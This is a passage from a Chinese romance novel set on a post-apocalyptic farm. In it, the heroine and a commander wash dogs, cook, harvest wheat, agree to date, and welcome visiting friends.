洗发水是不顶用了,时枌拖了个红色大脚盆来,还有一块肥皂,让大熊先进盆里,再往盆里放水。
先把狗
泡透了再说。
虎子已经在旁边看半天了,虎子跟大熊不一样,它怕水,而且它是短毛的,相对干净一些,看见大熊洗澡自己在旁边叼着个烂木头蹦跶来蹦哒去,看热闹似的。
时枌:“别嘚瑟,马上就到你了。”
虎子像是听懂了似的,耳朵一下子就耷拉下去了,叼着烂木头跑远了一点。
时枌就招它过来,拿起水管先给它淋湿。
赵弋在旁边坐了个小板凳搓大熊。
虎子比较活泼,不太老实,时枌只能自己来,不然赵弋根本制不住它。
她这个主人还是很有威势的。
虎子叼着烂木头老老实实冲水,很快脚下就漫出一片灰黑的脏水。
虽然是短毛,该脏还得脏。
冲得水差不多没那么脏了,时枌也不想弄脏自己的裙子,把虎子交给一边正在给大熊冲泡沫的赵弋。
好歹是给大熊搓干净了,肥皂都瘦了一圈,肥皂泡也好冲,三两下冲干净,让大熊自己去旁边甩一甩,赵弋接着搓虎子,半干的大熊跟着时枌去了屋内,滴滴答答地跟到洗手间,时枌拿一个大抹布给它简单擦了擦,又叮嘱:“只准在水泥地上玩,好好晒干,不准去玩泥巴。”
大熊安安静静看着她,听懂了。
时枌带着半干的抹布出去,等虎子洗完,给它也擦了擦,同样叮嘱,放它们去晒。
一边洗完狗的赵弋正在收拾水管,他又热出一身汗,衣服紧贴着后背,印出明显的腰线与肌肉轮廓。
时枌下意识掐了掐自己的腰,似乎没这么多肉,没他这样结实。
看来她最近是真的懈怠了。
赵弋这一身衣服是她给的,布料比较粗糙,裤腿也有点短,但穿着还挺凉快,他自己的衣服已经挂在后院,这会儿都晒干了。
太阳依旧明晃晃,时枌提醒他衣服晒干了就拿进屋,不然会很烫。
赵弋去摸了下,果然发烫,就顺便收进屋了。
他很自觉,径直走进了秦丰之前住的房间,把衣服叠好放好才出来。
时枌正在训狗,手里抓着两把小鱼干,让虎子大熊乖乖坐好才一只狗发了一个。
看见他出来,时枌算算时间也到晚饭了,问他:“你晚饭想吃什么?”
他想说随便,他不挑食,但话在脑子里转了一圈,又觉得随便这两个字太过随便,不太好听,就换了个更好听的说法。
“都可以。”他说。
时枌靠在墙上想了想,“糖拌番茄还是鸡蛋番茄汤?”
“都……糖拌番茄。”这个做法更简单,更省事。
“清炒丝瓜还是丝瓜鸡蛋汤?”
刚刚她问了番茄鸡蛋汤,再问丝瓜鸡蛋汤估计就是她想喝汤了,所以他不能选清炒丝瓜。
“丝瓜鸡蛋汤。”
果然,农场主人脸上露出满意的表情。
“蒸米饭,顺便烤点土豆红薯,再就是……咸鸭蛋?”
“嗯,”他很配合地表示肯定,“两个人吃就够了。”
“那行,你做还是我做?”
“……”
原来致命问题在这里。
赵弋这个人,对厨艺可以说是一窍不通。
但他可以学。
“你指导,我来做。”他很乖地回道。
这个答案让时枌非常满意。
男人怎么能不做饭呢。
“那我去生火。”她高高兴兴忙活去了,同时给他布置了任务,“摘两个大番茄一个丝瓜,鸡窝里摸四个鸡蛋,然后回来备菜,咸鸭蛋也要洗了,饭我来蒸。”
时枌是个好主人,她喜欢把任务布置的清楚明白。
比如她说摘两个番茄,就是指摘两个番茄,而且范围也限定好了,“大番茄”。
赵弋好歹是个有脑子的高级指挥官,这点活儿他还是能顺利完成的。
去菜园里看了一圈,刚摘过一次番茄,院子里番茄所剩不多,他挑来挑去才挑了两个比较大的番茄,考虑到这两个加起来不满足她布置的“两个大番茄”的任务目标,他多摘了一个,至于丝瓜,比较好摘,顺手挑了个中规中矩的。
鸡蛋?那就更简单了。
厨房里时枌已经生好了火,灶台上两口大锅,一个锅蒸饭,一个锅炒菜。
她刚刚就已经把淘好的米放进锅里了。
家里蒸饭为了快速蒸熟,是会先煮一会儿,再把米捞出来上锅蒸的,这会儿还只是煮米。
赵弋洗好番茄,按她说的给丝瓜去皮。
“番茄切成一牙一牙的,就是这样,先中间切开,挖蒂,再顺着切面切,跟切苹果一样。”时枌站他旁边指导。
她解释的很清楚,赵弋只用照做,很快就完成了,把切好的番茄放到一边的盘子里,撒上白糖,放旁边,大功告成。
已经完成一道菜的赵弋有些恍惚。
似乎比他想象中要简单。
至于丝瓜鸡蛋汤也很简单,鸡蛋打散,丝瓜切滚刀块,——滚刀块是时枌刚教的,锅里放油,丝瓜丢进去炒一炒,软了之后加水,等水开了再把打散的鸡蛋倒进去,最后加盐跟胡椒调味,就完成了。
时枌不是很饿,菜先端上桌,饭还在蒸,咸鸭蛋洗干净跟米一起蒸就行,至于她的面包也放凉了,两人一人一个试试口味。
“我刚研究的咸口面包,味道怎么样?”时枌问他。
她自己吃是没什么感觉的,就咸咸的,面包似乎不是面包,更像是她在罗辉家吃的馍,加上香肠,很顶饱,谈不上难吃。
“很好吃。”赵弋说。
虽然他觉得吃起来跟他爸下的手擀面味道也差不多。
“那明天这个就是早饭午饭了。”
“嗯。”难怪她今天特地烤面包。
两人在餐桌上面对面,啃完面包,就陷入沉默,时枌也不知道该说啥,只是心想今天的米饭怎么还没熟。
当然,她知道是因为今天的菜太简单没花多少时间,而蒸米饭时间一直都是固定的,所以才会有这个尴尬的时间差。
时枌一抬眼就看见对面低头不知道在想什么的赵弋,同一张桌子上,他们可以平视,这样时枌就能看见他柔顺的黑发。
赵队这头发……是真黑啊。
看起来就身体很好的样子。
说到身体很好,时枌就忍不住往下看,宽肩,胳膊线条……
“所以……”时枌给自己倒了杯水,“你们驻扎在阳县,平时吃什么?”
赵弋抬起头,“营养液。”
“……”
对哦,他们还能吃什么,还不是营养液。
意识到自己问了个蠢问题的时枌脸都红了。
这是她无法控制的。
赵弋看见她微红的脸颊,很有礼貌地垂下眼,拿过水壶给自己倒了杯水,喝水时杯沿遮挡了嘴角的笑意,一双流露笑意的眼睛却在眼睫微抬时落到她身上,正好跟她的视线撞上。
这一眼,很不对劲。
时枌尽量大大方方的,没有第一时间回避视线,在对视足足好几秒后,突然鼻尖动了动。
“饭好了?”
赵弋起身,“我去看看。”
时枌莫名松了口气。
很快他就回来了,带来两个字:“没熟。”
“……”
行吧,继续尴尬坐着吧。
好在有大熊,它过来蹭时枌小腿,一副乖巧模样仰头看着她。
时枌摸摸它脑袋,“马上饭就好了。”
平时家里吃饭就是她吃啥狗吃啥,除了特别咸比如这种咸鸭蛋不适合狗吃的,——不然哪个大户人家一条丝瓜配四个鸡蛋啊?
玩了会儿狗,终于熬
到饭熟了。
时枌先给他盛了饭,想着赵弋这个大体格子应该吃得多,就多盛了些,至于自己的,她是真不太饿,况且天热,她胃口一般,今天她也没干多少活儿,就只给自己盛了小半碗。
赵弋看见两碗明显的差别,“我吃不了这么多。”
这么一大碗,显得他很不好养活。
“啊?你今天摘了瓜洗了狗,不累吗?”
“还好。”这是实话,这点活只是因为今天天气热日头晒才会出汗,平时的话不算什么,对他来说最多算热身。
“但是盛进去的饭不能挖出来,你努努力,吃了吧。”时枌安排完他,又把咸鸭蛋用铲子铲给他,自己也有一个,剩下的米饭分两盆,自然是狗盆。
赵弋很有眼色帮忙端狗盆,先放到餐桌边晾凉。
虎子跟大熊看自己的狗盆都围了过来,眼巴巴瞅着。
但是刚出锅的米饭太烫,时枌不可能给它们吃,她拿了桌边的扇子帮忙扇,散散热气,一边夹菜吃。
“不能浪费菜,要都吃完的。”时枌说,“留一半给它俩就行。”
她习惯吃饭慢吞吞的,因为也没别的事,不着急,这跟赵弋的习惯完全相反。
他吃饭是为了及时补充体力,执行任务时不可能因为吃饭这件事浪费太多时间,所以向来都是速战速决。
现在的话,他尽量跟上她的速度,慢吞吞夹菜吃菜。
好在两人的饭差距大,他吃两口她才吃一口,这个速度刚刚好。
吃得差不多了,时枌就把剩下的的丝瓜蛋汤给虎子大熊的狗盆里,再一人一块肉干,拿到桌下,等它俩乖乖坐好再开饭。
赵弋没话找话:“它们……挺好养的。”
时枌看了看他,真诚道:“你比它们更好养活。”
“……”
虎子大熊还得吃剩饭剩菜,赵弋?一支营养液的事。
第72章 第72章绿豆汤的确解渴。
喂完大狗,时枌才想起来她还有三只小狗要喂。
现在老二老三老四也大了点,每天早上有阳阳送来的牛奶,晚饭再来一顿就差不多了。
时枌又去淘米,这次就不蒸饭了,直接煮粥,再加三个鸡蛋加点青菜,还好灶还没熄,里面的土豆跟红薯也闷的差不多了,时枌先把米丢进去煮,把土豆红薯捞出来,又加了柴火,才去菜园摘青菜。
这个季节青菜都老了一批了,那块地还没种东西,时枌打算这个夏天先缓一缓,用这块地来埋烂菜叶子养养土,等秋天再看看种什么。
扒拉两个番茄,又拔了几棵小白菜,进厨房洗一洗,切碎,丢进锅里一起煮。
赵弋很有眼力见的收拾了桌子,正在洗碗。
一点剩菜剩饭都没有,盘子碗干净的很,洗起来不费什么力气,尤其是在时枌升级了洗碗装备后。
她的海绵擦加洗洁精,洗碗是一绝。
洗完碗,赵弋冲了冲手,问她:“绿豆汤要现在煮吗?”
时枌看看外边的天,虽然很亮,但是太阳已经看不见了,估计已经七八点,这个时间煮绿豆汤,煮好再放凉,他们凌晨出发去割麦子,也差不多。
“绿豆洗一洗,直接放炉子上煮就行,你洗澡要烧热水吗?”时枌顺便问了一句。
这个天气还用热水洗澡?
“不用,冷水冲一下就行了。”他说,说完发现这话似乎显得自己很不爱干净,又补了一句,“先肥皂搓一遍,再冲一遍。”
时枌没在意那么多,她自己洗澡也是这么个流程,“嗯,那灶里的火一会儿就不管了,让它自己熄。”
还交代了大概用多少绿豆配多少水来煮绿豆汤,她喜欢吃绿豆,把绿豆汤当粥喝,尤其是在绿豆汤煮好放凉时那种不烫嘴温热的时候,软绵的豆沙格外好喝。
“嗯。”赵弋应下。
“锅里的粥看着点,别糊了,我出去有点事。”时枌洗洗手,看了眼外边。
“什么事?”
“我没偷懒,我就是去菜地把那几棵没果子的番茄拔了。”
“我不是那个意思……我就顺便问一句。”
“柜子里有**糖,先煮绿豆,冰糖之后再放。”
她前年种了一片甘蔗,收甘蔗,榨汁,做冰糖忙活一个多月,给她累坏了,今年就没再种,不过那片地里依旧有稀稀拉拉的小甘蔗冒出来,她要是想再种只需要打理一下就行。
冰糖存放时间久,主要是避潮,每年也就是夏天煮绿豆汤或者做菜的时候用一些,所以消耗不大。
趁着天还亮着,这个时间没太阳晒还凉快,正适合干活。时枌去工具房拿了把锄头,拿了把剪刀,在菜地闲逛。
她种番茄习惯保留一根主干,侧枝全部打掉,然后差不多一米五的高度就打顶,所以每棵番茄结的果子数量大概都是差不多的,而且每棵番茄也有竹竿支撑攀爬,生长过程中再用绳子绑扎避免倒伏。
地里的番茄品种分为两类,一类是红色大果,一类是红色黄色的小番茄,前者产量低一些,她当菜吃,后者当水果吃,产量大,经常吃不完烂地里。
有几棵番茄果子结的差不多了,叶子也因为最近天气晒得干枯萎蔫,时枌一锄头下去,松土,拆掉绑扎的绳子,一棵近乎干枯的番茄苗就被拔了出来,暂时丢到一边空着没种植物的地上。
就这样挑了几棵番茄苗,清理了一部分开裂腐烂的果子,开裂的丢给鸡鸭吃,腐烂的跟番茄苗一起堆着,还有一些明显老了不怎么生长或者已经抽苔开花的,也挖了都过去堆着。
今天就不挖坑把它们都埋进去了,等暴晒两天,这些叶子都会萎蔫,到时候再挖坑埋进去堆肥更方便。
时枌其实不是个爱干活的人。
但只要一头扎进菜园,她就满眼都是活,一旦开始,就忘记时间,很难停下。
比如现在她明明已经把番茄地跟青菜地都清理了一遍,看着也空旷舒服很多,但菜地里那些经历了几轮被遗忘的杂草、莫名其妙多出来的石头、挡小道影响人行走的藤蔓……
她忍不了。
厨房里煮上了绿豆,盯着锅里的粥,鸡蛋打散加进去搅和,正是空闲的赵弋,就看见了窗外时枌忙碌的身影。
她还真是……一点都没偷懒。
看她干活,自己却坐着,赵弋知道这样不好,但他又不敢出去帮忙,因为绿豆汤会沸腾,他得盯着,还得用滤网撇去绿豆壳,锅里的粥也要搅合,避免糊底。
如果他出去了,这俩谁出了意外,都是他一个人的责任。
所以他只能这么看着。
闲着没事……就理一理厨房,擦擦灶台柜子,让自己忙起来。
直到天黑,时枌才忙完进来。
而这时候赵弋都喂完小狗了。
绿豆汤也从炉子上端了下来,放到一楼客厅长餐桌上,时枌进屋后看了眼,绿豆壳都被撇的干干净净,汤是红色的,唱了一口甜度也刚刚好,就是有点烫。
“要喝自己盛。”时枌说。
她给自己盛了一大碗,一边跟他叮嘱:“今天早点睡,明天天不亮就要起床割麦子的。”
“嗯。”赵弋估摸着喝点绿豆汤洗个澡睡一觉就差不多该醒了。
这屋子里只有两人确实有点尴尬,时枌端着绿豆汤赶紧上楼去,放到茶几继续晾凉,去浴室冲了个澡换上睡衣,再抓紧时间喝完绿豆汤。
她这一碗几乎是粥,满满的豆沙,一口下去整个人都舒服了。
喝完就上床睡觉,明天是一场硬仗。
一楼赵弋自己喝了小碗,觉得有点甜腻腻的,味道还不错。
锁好了门,今天虎子大熊都洗了澡,被时枌叮嘱不要乱跑所以它俩现在都在屋子里,三只小狗也跟着趴在墙角乘凉,时枌用狗盆给它们盛了两碗绿豆汤放好才去睡。
赵弋定了四点的闹钟,他向来准时,闹铃一响他就起来了,刷牙洗脸。
对着镜子抬起下巴看了看冒出来的胡茬。
有点扎手。
但这里又没有剃须刀。
看看镜子中的这张脸,好像离远了也看不见胡茬,应该没什么问题吧?
他洗漱速度快,出来时楼上才传来动静。
时枌打着哈欠手里抓了一套衣服慢悠悠下楼,披散着头发,在乌漆嘛黑的楼道里像个女鬼。
“换长袖长裤,不然扎胳膊,然后去工具房拿四把镰刀……”她又打了个哈欠,衣服交给她就继续晃晃悠悠上楼去。
赵弋都怕她踩空摔下来。
看着她上楼消失不见,确定没摔,他才去换衣服。
衣服都是旧的,估计是跟昨天那一套一样,至于鞋子,他还是换上了自己
的军靴,方便耐造。
明显时枌还得一会儿才收拾完,赵弋就开始自己给自己找事干。
她昨天烤好的面包还有绿豆汤都在桌上,他就把车开到了后院,再把面包跟绿豆汤都搬上车,镰刀也放到皮卡后边,忙完这些,时枌就下楼了。
她也是一身长袖长裤,旧衣服,万一弄脏弄破了可以直接丢的那种,踩了一双雨靴,头顶戴着竹编的帽子,又去工具房拿了三顶,——都是叶枝蔚闲着没事给她编的,方便夏天下地干活。
她从柜子里翻出四双棉布手套。
收拾妥当,时枌嘴里叼了个面包坐上副驾驶,帽子挂在脖子上,“先去罗辉家看看,他们要是没起来我们就先过去。”
主人一大早起来,虎子大熊也醒了,跟着他们到后院,时枌没让它们跟着去田地,交代它俩乖乖守家。
时枌在副驾驶降下车窗,朝着虎子大熊摆摆手。
它俩就乖乖坐下,只是狗头依旧朝着她的方向,依依不舍。
经过罗辉家发现他家还没动静,当时时枌也没说这么早出发,但罗辉是知道她麦田的位置的,就没打扰人家,让赵弋开车去山脚田地。
平时走路还需要费点时间,开车就不一样了,速度快,不累,还能吹风。
清晨没被太阳炙烤、清凉的风,让人觉得像是在凉爽的秋天。
这会儿天边还是一线天光,天空也是蓝色的,到了麦田,两人带好装备下地。
时枌先示范。
“就这样,一把,揪住,割断,然后用草简单绑一下固定不要松散就行,这些到时候再搬上车,拖回农场。”
赵弋这才意识到,这辆皮卡还是太小了。
一眼望去两亩地的麦子,他这辆车估计得跑好多趟才能装完。
“也不用太担心,我还有辆牛车呢,一会儿先回去一趟,我把大花跟牛车牵过来,能多装一点。”
没有车的时候她就是这么收麦子的。
其实比起收麦子,后续的脱壳,磨面,才是狠活。
没时间闲聊,得趁还凉快多干点活,不然太阳出来了会热死。
时枌动作利落,割麦也是老手了。
这活儿主要是费腰,其他都还好。
半人高的小麦,需要齐根割,必须要弯下腰去,直起身捆扎好一束丢到旁边,再重复弯腰,如此反复。
他俩一人从一个角开始割,很快麦子就“倒”了一片,以一个平缓稳定的速度不断扩张,没多久,罗辉就带着烈烈到了,跟时枌打了招呼就下地干活,而烈烈则是负责把割下来的麦子往上搬,码放到车上。
三人割,一人搬肯定是比较慢的,中途时枌觉得口渴,上去给他们倒绿豆汤,让烈烈歇一会儿吃个面包。
“谢谢时枌姐姐,我在家吃过了。”
时枌被他礼貌逗笑,“没事,这是我给你的工资,今天会很累的,多吃点才有力气干活。”
她觉得有点热了,就给罗辉送去帽子绿豆汤,又给赵弋送过去。
赵队穿着一身旧衣服,站在小麦地里闷不吭声割麦子,看她过来放下镰刀,戴上了帽子,又接过绿豆汤,三两下喝完。
绿豆汤的确解渴。
“速度比我预计要快,中午休息,我们下午凉快了再来。”时枌欣慰道。
第73章 第73章“合作愉快!”
一片火烧云往地平线卷,被烤得燥热的空气裹挟着一丝不易察觉的凉爽,掠过最后一车麦子。
午休休息了两小时,下午又干了几个小时,四个人终于把这两亩麦子拖回时枌家,当然,分了一车给罗辉家作为今天帮忙的报酬。
罗辉跟烈烈回去吃饭了,被拖到后院的麦子简单堆积着,抬头看看天空估计明天又是一个好天气,时枌跟赵弋在马场附近的平地上铺了油布,再把麦子转移到油布上,晚上避免潮气还盖了一层油布。
干完这些,时枌是彻底干不动了。进院子就踩下雨靴,赤脚爬上院子桃树下的躺椅,整个人横七竖八地瘫了上去。
赵弋也不是很累,收拾好牛车,把镰刀什么的工具放回去后,又简单冲了个澡,换了身干净的衣服,这会儿太阳也彻底下去了,隐约有些清凉,他照旧坐在门口椅子上。
这椅子说是个椅子,实际上只有屁股那么大,一个简单的靠背,大长腿无处搁置,只能伸长,还得控制重心避免摔倒。
看她半天没动静,赵弋以为她睡着,一时间没作声。
今天割麦子确实又累又热,她热的跟蒸熟的虾子似的,脚趾都是红彤彤的。
然后躺椅上的人翻了个身,问他:“有营养液吗?”
她今天是真的不想做饭了。
剩余的面包给虎子大熊,再生炉子煮个红薯粥给小狗吃就差不多了。
赵弋刚洗完澡,营养液没在身上。
“我去拿。”
他起身去房间拿了两支,走近递给她一支。
“噢,谢谢。”时枌很有礼貌地接过。
仰面躺着,嘴里叼着营养液,发现他跟一座小山似的站在跟前,疑惑他怎么还站着,时枌眨了眨眼。
赵弋顺手拿过她躺椅前用来搁脚的小凳子坐下了。
没了搁脚凳的时枌:“……”
她的躺椅不够长,往往都会留出一截腿来,平时一个人的时侯时枌就喜欢把双腿搁在躺椅扶手上散热,因为长期躺一个地方椅子都给她烫热了,越睡越热。而当她想要有点形象的时候,就会拉个凳子过来专门搁脚。
现在被抢了,她又不好意思让刚给她割完麦子的赵弋滚蛋赶紧把凳子还回来。
犹犹豫豫,她翻了个身,不经意看见他低下头时后颈的一片通红。
她伸长脖子仔细看了看,“你晒伤了?”
赵弋一抬头,两人之间距离拉近,顺着她眼神发现她看的是自己后颈。
确实有点痒,洗澡的时候简单看了一眼,估计得褪皮,不过这种小伤对他来说很寻常。
“嗯,过段时间就好了。”他说着,目光落在她后颈。
她后颈似乎只是有点热的红,并没有晒伤。
“哦,忘记提醒你了,要拿个毛巾搭在后颈。”不然很容易晒伤的。
他以为她那条毛巾是为了擦汗。
两人坐的近了,时枌才意识到他已经洗了澡,干干净净的赵队,跟浑身是灰的她形成了鲜明的对比。
可她现在一点都不想洗澡,累的要命,她得躺一会儿。
没活干,两人就这么沉默着。
赵弋垂头看了眼手表上的新消息,末了,抬起头看着她。
他也不是平白无故跑来当劳力的。
阳县刚安排妥当,他在那边基本上没什么活干,周围又平静得很,除了每日巡逻就没其他的,至于挖矿,还得等后期南区的人过来才会开始。
到时候他就得忙起来,不会这么悠闲了。
被盯了半天的时枌浑身发毛,终于忍不住,扭头过来跟他对视,眼神询问:你是有什么事吗?
赵弋面色平静,“你这里还招我吗?”
“招什么?长工?”时枌大概记了起来。
可她没记错的话那时候赵队可是直接拒绝的。
“不是,招婿。”
时枌一时间没反应过来他这个xu是什么xu,着实愣了几秒。
“我不做长工。”赵弋再次强调。
时枌:“……所以你要做赘婿?”
听上去不那么好听,但这段时间赵弋已经说服自己了。
人家家大业大的,他孤身一人最多也就有一张漂亮脸蛋和十万积分,他入赘,也没什么。
反正好过被抓回保护区联姻。
时枌看他表情不像是在开玩笑,可是……
“你真的愿意留下来?”
“嗯,”赵弋看着她,“我已经迁移到阳县了,以后随时可以来农场,如果你愿意,我也可以搬来这里住。”
“你见过了,农场的活我都可以干,不会的我也可以跟你学,就像今天割麦子一样。”
“做饭我还不是很熟练,你可以在旁边指导,我学的很快。”
他是做了十足的准备才过来的。
跟保护区做了切割,彻底迁移到阳县,——他户口都转过来了。至于阳县的工作,他是最高指挥,估计以后也会跟老严这种领导一样没事开开会,可能会趁着年轻做些任务?但大概率是清闲的。
要是阳县的工作真的很忙,他也不介意辞了指挥官,一心一意做赘婿。
时枌看看他结实的胳膊,修长的腿,完美的腰线……她割了一天麦子腰都直不起来他却跟没事人似的。
她去哪找这么好的牛马?
时枌不犹豫了。
“好 。“时枌郑重点头。
赵弋也松了口气。
有种面试通过的轻松。
“那一楼你现在住的房间就归你了,你可以自由处置,一楼也有洗手间,你要是嫌洗澡空间太小,外边还有一个新建好的洗澡间,东西齐全……”
赵弋:“好的。”
“以后农场的夏收秋收还有春播啊什么的,这些是每年固定的,但平时活也不少,菜园需要打理,牲畜要喂,偶尔还得上山打猎加餐,你都能接受吧?”
赵弋:“能接受。”
“我也不是什么周扒皮,你放心,农场该休息还是会休息的,像现在夏天天气热,除了收小麦就没活了,每天管好自己一日三餐就行,再等秋天玉米稻谷熟了才会忙,冬天太冷,也是要休息的。”
赵弋:“可以理解。”
看他这么好说话,时枌一脸欣慰拍拍人肩膀,感慨:“真好。”
笑得像个黑心私人加工厂老板。
赵弋也很温顺的看着她,“你怎么没问我要什么报酬?”
时枌惊讶:“什么报酬?”
入赘不是自愿的吗?怎么还要报酬呢!
时枌警惕起来,整个人身体坐直了,如临大敌。
赵弋:“我要求不高,只是改变一下我们之间的关系。”
时枌:“改成啥样?”
“……情侣关系。”赵弋厚着脸皮说。
时枌脸一红,“这样不好吧。”
她果然不懂什么是赘婿,赵弋想着,算了,他不能太着急,毕竟她年纪小。
“谈个恋爱,拥有免费长工,不划算么?”
“那不是得牺牲我自己么……”时枌小声嘀咕,“你等我好好考虑一下。”
“过时不候。”
“行行行。”时枌勉为其难地答应了。
谈个恋爱而已,她有什么好怕的?秦丰跟叶枝蔚就是情侣关系,他俩除了喜欢半夜出去聊天其他的也很正常啊。
时枌伸出自己脏兮兮的手。
赵弋不解,挑眉看他。
“握手啊。”时枌催促他。
赵弋沉默着伸出右手,被她抓住,握紧,摇了摇。
“合作愉快!”
“……合作愉快。”
气氛有点不对劲,但好歹是先把坑占上了,赵队自己劝自己,感情都是处出来的,虽然时枌现在看起来对他不怎么上心,但他相信,只要单独(划重点)相处久了,她肯定会离不开自己。
握完手,时枌发现他干净的手沾上了自己手上的泥,下意识觉得自己弄脏了人家,拉着他的手拍了拍,泥巴拍下来了,还有一层浮灰。
“抱歉哈,弄脏你了。”她语气充满歉意。
赵弋莫名呼吸一滞,调整好后才收回手,说没事,又看她已经恢复正常白皙的脸颊,颈侧有几道抓痕。
割麦子的时候麦穗划过皮肤会引起瘙痒,一抓就是一道红痕,他一回来就洗澡也是因为这个原因,想把灰尘先洗掉,避免更痒。
时枌肯定知道,只是她懒,不想动弹。
作为一个贴心的赘婿,需要察言观色。
“去洗个澡?我帮你拎水上去。”他问。
“啊……不想动,我再躺一会儿。”
“我抱你上去?”
她脸上露出那种被冒犯的嫌弃。
“……我扛你上去。”
她脸上换成了跃跃欲试的新奇。
突然理解了时枌的小脑瓜运转方式。
他在人面前躬下身,示意她趴到自己肩膀上来。
上次已经被他从挖掘机上扛下来过,时枌有经验了,从躺椅上站起来,很配合地趴到人肩膀上,赵弋调整好,肩膀抵着人柔软的肚子,一手扣着人小腿站了起来。
跟他抗麦穗没什么区别。
起来的时候时枌身体不稳,脑袋都翘起来,扎好的辫子晃晃悠悠。
她哇哦一声,“感觉回到小时候,爷爷就是这么扛我的。”
赵弋:“……”
这应该是夸奖。
“不用上楼了,我就在一楼冲一下就行。”
经过一楼洗手间时时枌拍拍他的后背示意停下。
赵弋把她放下,时枌稳稳站好,只是觉得脑袋有点晕。
“换洗衣服?”他还是伸手扶了她一下。
“在二楼阳台,你帮忙收下来。”时枌吩咐完就进了洗手间,关上门。
赵弋像个合格的仆人,经她允许后上了二楼,去阳台收衣服。
女孩子的衣物挂在阳台晾衣绳上,上边不止一套衣服,但她似乎平时在家更喜欢穿裙子,于是赵弋把晾衣绳上衣服都收了下来叠好,只把她昨天穿的那条裙子还有一套内衣夹在裙子里。
下楼,敲门,送衣服。
刚关上门,外边就传来喇叭声。
时枌问了句是不是有人来了?
赵弋看了眼外边那群不速之客,淡淡抬了抬眼皮,没等他回复,就已经有人冲了进来。
“枌枌!枌枌!我们来啦——!!”
又来了,赵弋嫌弃地想着。
第74章 第74章“哟,赵队也在啊。”……
“枌枌枌枌枌枌——我好想你啊——”
周霓刚进屋就抱着洗手间的门开始腻歪,其他几个人进屋就自己找地方归位。
秦丰一头扎进了厨房嚷嚷着要煮绿豆汤消暑,骨头这一路快兜不住屎赶忙丢下手里的东西往茅坑跑,同样憋尿无处可去的张照照在叶枝蔚鄙视的目光中着急忙慌滚进了茅坑女厕所。
看来农场厕所还是太少了。
“哟,赵队也在啊。”周霓抽空跟赵队打了个招呼。
赵弋回以一个冷漠且不明所以的微笑。
周霓满心都是她亲爱的枌枌,在洗手间前苦苦等候,终于等到湿漉漉香喷喷的时枌出来。
被周霓抱了个结实,时枌头顶毛巾抱了回去。
“枌枌有没有想我啊?”周霓掐着嗓子问她。
时枌:“……要听实话吗?”
“那还是算了,你只用说你想我就够了。”
“那我想你了。”
“嘤嘤嘤我就知道枌枌想我!我路上打了好几个喷嚏!”
“嗯嗯嗯。”时枌敷衍应付着,松开正在研究她是不是晒黑了的周霓,又问叶枝蔚:“你们怎么这个时间来了?”
叶枝蔚:“秦丰说阳县那边条件不好,没水没电,我们下午才收拾好东西准备出发,这个时间去阳县也是晚上了,不如来你这里休整一晚,洗个澡吃个饭,明早再去阳县。”
“哦~”真的把她这里当中转站了啊。
不过时枌也不介意,他们不跟自己客气说明关系好嘛。
已经煮上绿豆汤的秦丰从厨房里钻出来,“时枌啊,你瓜地里遭贼了吗?怎么一个不剩啊?”
很明显是进屋前看见她光秃秃的瓜地了。
时枌朝赵弋抬抬下巴,“喏,卖给赵队了。”
哦对,多少钱还没商量呢。
赵弋解释:“送去阳县,加餐。”
秦丰满脸没占到便宜的悔恨。
他赶紧去菜地搜刮一圈,摘了两盆大黄瓜,两个瓠子,几颗番茄,嫩嫩的豆角也摘了一盆,开始点菜:“天气热,咱们晚上吃清淡点哈,煮个粥,我蒸点馒头顺便明早当早饭,拍黄瓜,瓠子鸡蛋汤,凉拌番茄,炒豆角,再煎个香肠差不多了。”
解决完的张照照跟骨头回来了,听到这个菜单满意点头,在保护区喝了几天营养液可把他们憋坏了。
时枌头发还没擦干,周霓黏着她,她总觉得又什么软软的东西蹭着自己的后背,扭头一看,就看见周霓的大胸。
哦,原来是这个。
周霓顺着她目光老脸一红,“小屁孩!”
时枌无辜,顺便看了看自己的,哦,可有可无吧。
周霓低头看看她这一身裙子,“这是在保护区买的?很合身啊,这小腰~”
顺便掐了一把。
时枌觉得痒痒的,没什么感觉,“你不是说想借书么?上楼去挑吧。”
“哦对。”周霓终于上楼了。
一边骨头正在搬东西:“这个是从保护区带来的伴手礼,时枌你自个儿收拾还是我帮忙搬楼上去?”
“还有礼物?”时枌看着满地大包小包的,还以为是他们自己的行李。
叶枝蔚去厨房顺了根黄瓜啃着,“先放这里吧,我帮你清一清,一部分要拿楼上去,一部分要放楼下的。”
时枌扭头朝厨房喊:“秦丰!杀只鸡!”
这么多东西,她不给他们杀只鸡好好补一补都算她待客不周。
秦丰喜笑颜开:“好嘞!凉拌手撕鸡行吗?”
时枌:“OK~”
骨头顶礼膜拜:“感谢时枌!”
张照照狂流口水:“感谢时枌!”
时枌笑着接受他们的赞美,然后蹲下身跟叶枝蔚一起帮忙收拾东西。
都是一些实用的礼物,比如一张凉席,一箱洗洁精,两大瓶洗发水,——正好她昨天吸狗浪费了半瓶,以后再也不用洗发水洗狗了。
“这个我给你挑的睡衣,很舒服的,背心短裤也不用担心跑。”叶枝蔚给她收到一边,“一会儿我给你过一下水。”
“我以前小时候也有这种绵绸的睡衣,不过已经小了,没办法穿了。”
宽松的背心短裤样式,怎么翻滚都行,再也不会一早上发现裙摆到脖子上了。
以前时枌自己一个人这样还行,现在家里时不时就有客人,她穿这样的睡衣会比睡裙更自在。
还是叶枝蔚细心呐。
一些洗发水沐浴露要搬到楼上去,时枌想都没想,扭头叫赵弋:“帮忙搬一下。”
浑身散发着幽怨气息的赵队:“……”
还是老老实实搬东西去了。
发现他不吭声的时枌嘀咕了句“又抽风?”就继续喜滋滋翻自己的礼物。
他们给她带的都是日常用品,给她省了不少事。
趁着外头还有光亮,时枌跟周霓去把凉席给刷了,睡前应该能晾干用上,新衣服叶枝蔚去帮她过水去了,骨头跟张照照无事可干,看见外边高高隆起的油布问时枌那是什么。
“刚收的麦子。”时枌说。
骨头:“怎么不等我们来收?!那么多麦子你一个人干多辛苦啊!”
张照照:“就是就是!”
时枌心想就是不想麻烦你们啊,“反正有赵队,还有罗辉,我们几个一起今天一天就干完了。”
骨头:“下次有活儿留着我们来,不然顿顿白吃多不好意思。”
“好的,秋收玉米就叫你们。”
“还有玉米呢。”骨头惊讶。
他们在这住的那段时间每天都忙着农场扩建,并没有时间去她田地里参观,所以也不知道时枌具体种了哪些作物。
“玉米、棉花、水稻……你们还是有闲工夫自己去田埂上,还有红豆绿豆大碗豆小豌豆毛豆,我懒得收。”时枌掰着手指头数。
头发简单擦擦,洗凉席的时候就已经不滴水了,只用毛巾简单拢了拢,这会儿估计快干了,时枌就把毛巾摘了下来,刚要去后院晾毛巾,两只胳膊被叶枝蔚跟周霓一人一只拽住。
